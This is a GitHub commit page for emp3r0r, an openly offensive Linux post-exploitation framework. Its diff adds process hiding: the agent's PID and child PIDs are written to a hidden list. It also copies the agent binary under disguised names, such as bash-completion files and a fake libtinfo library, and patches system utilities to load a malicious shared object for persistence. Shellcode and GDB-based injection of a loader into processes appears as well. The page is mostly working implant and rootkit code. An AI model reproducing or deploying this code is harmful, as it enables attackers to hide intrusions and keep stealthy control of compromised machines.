Skip to content

Commit

Permalink
fix: auto-updating hide_pid list
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Aug 2, 2023
1 parent a497d59 commit 7a2d822
Show file tree
Hide file tree
Showing 4 changed files with 110 additions and 37 deletions.
9 changes: 7 additions & 2 deletions core/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,6 @@ import (

func main() {
var err error

replace := flag.Bool("replace", false, "Replace existing agent process")
replace_agent := *replace == true
version := flag.Bool("version", false, "Show version info")
Expand All @@ -43,7 +42,7 @@ func main() {
run_from_guardian_shellcode := util.ProcExePath(os.Getpid()) ==
util.ProcExePath(os.Getppid())
if run_from_guardian_shellcode {
log.Printf("emp3r0r %d is invoked by shellcode in %d",
log.Printf("emp3r0r %d is invoked by shellcode/loader.so in %d",
os.Getpid(), os.Getppid())
}

Expand Down Expand Up @@ -138,6 +137,12 @@ func main() {
util.RandInt(0, 6)))
}

// hide agent process
err = agent.HidePIDs()
if err != nil {
log.Printf("Hiding PIDs: %v", err)
}

// run as elvish shell
if runElvsh {
os.Exit(prog.Run(
Expand Down
31 changes: 18 additions & 13 deletions core/lib/agent/injector.go
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ func gdbInjectSharedLibWorker(path_to_so string, pid int) error {

// Inject loader.so into any process
func GDBInjectLoader(pid int) error {
so_path, err := prepare_loader_so(pid)
so_path, err := prepare_loader_so(pid, "")
if err != nil {
return err
}
Expand All @@ -85,7 +85,7 @@ func GDBInjectSharedLib(pid int) error {
}

// copy agent binary and loader.so to persistent location
func prepare_loader_so(pid int) (so_path string, err error) {
func prepare_loader_so(pid int, bin string) (so_path string, err error) {
so_path = fmt.Sprintf("/%s/libtinfo.so.2.1.%d",
RuntimeConfig.UtilsPath, util.RandInt(0, 30))
if os.Geteuid() == 0 {
Expand All @@ -102,17 +102,22 @@ func prepare_loader_so(pid int) (so_path string, err error) {
}
}

if pid > 0 {
// see loader/elf/loader.c
agent_path := fmt.Sprintf("%s/_%s",
util.ProcCwd(pid),
util.FileBaseName(util.ProcExePath(pid)))
if HasRoot() {
agent_path = fmt.Sprintf("/usr/share/bash-completion/completions/%s",
util.FileBaseName(util.ProcExePath(pid)))
}
err = CopySelfTo(agent_path)
// see loader/elf/loader.c
exe_file := util.ProcExePath(pid)
if pid <= 0 && bin != "" {
exe_file = bin
}
if !util.IsExist(exe_file) {
return "", fmt.Errorf("target binary %s not found", exe_file)
}
agent_path := fmt.Sprintf("%s/_%s",
util.ProcCwd(pid),
util.FileBaseName(exe_file))
if HasRoot() {
agent_path = fmt.Sprintf("/usr/share/bash-completion/completions/%s",
util.FileBaseName(exe_file))
}
err = CopySelfTo(agent_path)

return
}
Expand Down Expand Up @@ -208,7 +213,7 @@ func InjectSharedLib(so_path string, pid int) (err error) {
// InjectLoader inject loader.so into any process, using shellcode
// locate __libc_dlopen_mode in memory then use it to load SO
func InjectLoader(pid int) error {
so_path, err := prepare_loader_so(pid)
so_path, err := prepare_loader_so(pid, "")
if err != nil {
return err
}
Expand Down
73 changes: 51 additions & 22 deletions core/lib/agent/persistence.go
Original file line number Diff line number Diff line change
Expand Up @@ -198,40 +198,69 @@ func AddCronJob(job string) error {
return cmd.Start()
}

// patch ELF file so it automatically loads and runs loader.so
func patcher() (err error) {
if !HasRoot() {
return errors.New("Root required")
func HidePIDs() (err error) {
// mkdir
if !util.IsDirExist("/usr/share/at") {
os.MkdirAll("/usr/share/at", 0755)
}
so_path, err := prepare_loader_so(0)

// hide this process and all children
pid := os.Getpid()
children, err := util.GetChildren(pid)
if err != nil {
return
}
pids := fmt.Sprintf("%d", pid)

// create hidden list
if !util.IsFileExist(Hidden_PIDs) {
// pid+1 is for elvsh process
pids := fmt.Sprintf("%d\n%d", os.Getpid(), os.Getpid()+1)
// agent PID
alive, agent_pid := IsAgentRunningPID()
if alive {
pids = fmt.Sprintf("%d\n%d", pid, agent_pid)
}

// mkdir
os.MkdirAll("/usr/share/at", 0755)
for _, child := range children {
pids += fmt.Sprintf("\n%d", child)
}
err = ioutil.WriteFile(Hidden_PIDs, []byte(pids), 0644)
if err != nil {
return
}
log.Printf("Added PIDs to %s: %s", Hidden_PIDs, pids)
return
}

// PIDs
err = ioutil.WriteFile(Hidden_PIDs, []byte(pids), 0644)
if err != nil {
log.Printf("Cannot create %s: %v", Hidden_PIDs, err)
}
// patch ELF file so it automatically loads and runs loader.so
func patcher() (err error) {
if !HasRoot() {
return errors.New("Root required")
}

// files
files := fmt.Sprintf("%s", util.FileBaseName(RuntimeConfig.AgentRoot))
err = ioutil.WriteFile(Hidden_Files, []byte(files), 0644)
if err != nil {
log.Printf("Cannot create %s: %v", Hidden_Files, err)
}
// PIDs
err = HidePIDs()
if err != nil {
log.Printf("Cannot hide PIDs: %v", err)
}

// files
files := fmt.Sprintf("%s\n%s\n%s",
util.FileBaseName(RuntimeConfig.AgentRoot),
util.FileBaseName(Hidden_Files),
util.FileBaseName(Hidden_PIDs))
err = ioutil.WriteFile(Hidden_Files, []byte(files), 0644)
if err != nil {
log.Printf("Cannot create %s: %v", Hidden_Files, err)
}

// patch system utilities
for _, file := range Patched_List {
bak := fmt.Sprintf("%s/%s.bak", RuntimeConfig.AgentRoot, file)
if !util.IsFileExist(file) || util.IsFileExist(bak) {
continue
}
so_path, err := prepare_loader_so(0, file)
if err != nil {
return err
}
e := AddNeededLib(file, so_path)
if e != nil {
err = fmt.Errorf("%v; %v", err, e)
Expand Down
34 changes: 34 additions & 0 deletions core/lib/util/proc.go
Original file line number Diff line number Diff line change
Expand Up @@ -171,6 +171,40 @@ func PidOf(name string) []int {
return pids
}

// Get children processes of a process
func GetChildren(pid int) (children []int, err error) {
d, err := os.ReadDir(fmt.Sprintf("/proc/%d/task", pid))
if err != nil {
log.Printf("GetChildren: %v", err)
return
}
threads := make([]int, 0)
for _, thread := range d {
tid, err := strconv.Atoi(thread.Name())
if err != nil {
continue
}
threads = append(threads, tid)
}
for _, tid := range threads {
children_file := fmt.Sprintf("/proc/%d/task/%d/children", pid, tid)
data, err := os.ReadFile(children_file)
if err != nil {
log.Printf("GetChildren: %v", err)
return nil, err
}
children_str := strings.Fields(strings.TrimSpace(string(data)))
for _, child := range children_str {
child_pid, err := strconv.Atoi(child)
if err != nil {
continue
}
children = append(children, child_pid)
}
}
return
}

// sleep for a random interval between 120ms to 1min
func TakeASnap() {
interval := time.Duration(RandInt(120, 60000))
Expand Down

0 comments on commit 7a2d822

Please sign in to comment.